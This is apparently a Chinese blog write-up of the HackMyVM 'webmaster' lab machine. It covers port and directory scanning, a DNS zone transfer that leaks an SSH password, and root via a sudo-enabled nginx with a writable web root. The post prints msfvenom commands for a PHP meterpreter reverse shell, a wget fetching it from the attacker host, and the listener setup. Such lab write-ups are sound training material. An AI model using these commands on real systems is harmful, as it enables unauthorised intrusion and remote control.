当前位置:网站首页>HackMyvm靶机系列(1)-webmaster
HackMyvm靶机系列(1)-webmaster
2022-07-06 09:22:00 【月应知我意】
一、信息收集
首先先使用nmap扫描网段,探测存活主机,由于这是校园网主机比较多就不一一找了,使用grep直接找到目标主机。
nmap -sP 192.168.200.0/24 | grep -i -B 2 virtualbox
对目标主机进行端口扫描,探测目标开放的服务
nmap -sT -T4 -sV -O -A -sC -p- 192.168.200.8扫描到三个服务,ssh,dns,http

访问一下,发现是一张图片,大致意思就是你把密码保存在哪里?Bitwarden和Keepass百度一下是一种密码管理工具。记住下面那个TXT,是个重要提示。

使用dirsearch扫描一下目录。
dirsearch -u http://192.168.200.8 -e php,html,txt,7z,zip,gz,db,bz2,bak -x 404,301,500-599 -t 30然而并没有发现什么有用信息。

上面图片提示到txt,于是尝试一下使用wfuzz爆破一下txt文件
wfuzz -c --sc=200,302 -w /tools/dict/directory-list-2.3-medium.txt http://192.168.200.8/FUZZ.txt和使用dirsearch一样,一条有用的消息都没有发现

然后查看一下页面源代码,发现一个webmaster.hmv,看上去像是一个域名。于是把它放到host文件中解析,然而并没有什么用。

二、漏洞利用
想到刚才用nmap扫描到有开放dns服务,尝试一下用dig解析一下dns记录
dig axfr @192.168.200.8 webmaster.hmv
#@IP地址 指定DNS服务器
发现这个东西十分可疑,看上去像是一个账号和密码
john:Myhiddenpazzword尝试登录ssh,登录成功


得到第一个flag
三、权限提升
接下来就是提权操作了
sudo -l发现nginx可以以任何用户启动,并且不需要输入密码。
通过查看进程,发现nginx是以root权限启动的。

然后查看网页根目录,发现根目录任何人都拥有删除和写入文件的权限,再加上nginx是以root权限启动的,我们可以通过写入shell,再访问这个shell获得权限。
先查看一下主机信息,是86位的

使用msf生成木马
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.200.130 lport=5555 -f raw -o shell.php
然后目标机上使用wget将木马下载下来
wget http://192.168.200.130:7890/shell.php
赋予执行权限
chmod +x shell.php
在msf上启动监听
use exploit/multi/handler
set payload php/meterpreter_reverse_tcp
set lhost 192.168.200.130
set lport 5555kali访问木马文件,由于nginx是root权限运行的,所访问shell.php文件时得到的是root权限
msf收到会话,权限为root

拿到最后一个flag

边栏推荐
- 抽象类和接口的区别
- [dark horse morning post] Shanghai Municipal Bureau of supervision responded that Zhong Xue had a high fever and did not melt; Michael admitted that two batches of pure milk were unqualified; Wechat i
- 记一次猫舍由外到内的渗透撞库操作提取-flag
- 【头歌educoder数据表中数据的插入、修改和删除】
- [the Nine Yang Manual] 2017 Fudan University Applied Statistics real problem + analysis
- Write a program to simulate the traffic lights in real life.
- Relationship between hashcode() and equals()
- 2. First knowledge of C language (2)
- MATLAB打开.m文件乱码解决办法
- FAQs and answers to the imitation Niuke technology blog project (III)
猜你喜欢

ABA问题遇到过吗,详细说以下,如何避免ABA问题

A piece of music composed by buzzer (Chengdu)

MySQL事务及实现原理全面总结,再也不用担心面试

Strengthen basic learning records

甲、乙机之间采用方式 1 双向串行通信,具体要求如下: (1)甲机的 k1 按键可通过串行口控制乙机的 LEDI 点亮、LED2 灭,甲机的 k2 按键控制 乙机的 LED1

Using spacedesk to realize any device in the LAN as a computer expansion screen

Thoroughly understand LRU algorithm - explain 146 questions in detail and eliminate LRU cache in redis

MySQL锁总结(全面简洁 + 图文详解)

Strengthen basic learning records

This time, thoroughly understand the MySQL index
随机推荐
Strengthen basic learning records
[insert, modify and delete data in the headsong educator data table]
Meituan dynamic thread pool practice ideas, open source
Miscellaneous talk on May 27
撲克牌遊戲程序——人機對抗
The difference between overloading and rewriting
js判断对象是否是数组的几种方式
Experiment five categories and objects
String ABC = new string ("ABC"), how many objects are created
深度强化文献阅读系列(一):Courier routing and assignment for food delivery service using reinforcement learning
Have you encountered ABA problems? Let's talk about the following in detail, how to avoid ABA problems
Analysis of penetration test learning and actual combat stage
Nuxtjs quick start (nuxt2)
Custom RPC project - frequently asked questions and explanations (Registration Center)
实验七 常用类的使用
. How to upload XMIND files to Jinshan document sharing online editing?
Simply understand the promise of ES6
Leetcode.3 无重复字符的最长子串——超过100%的解法
FAQs and answers to the imitation Niuke technology blog project (I)
2022 Teddy cup data mining challenge question C idea and post game summary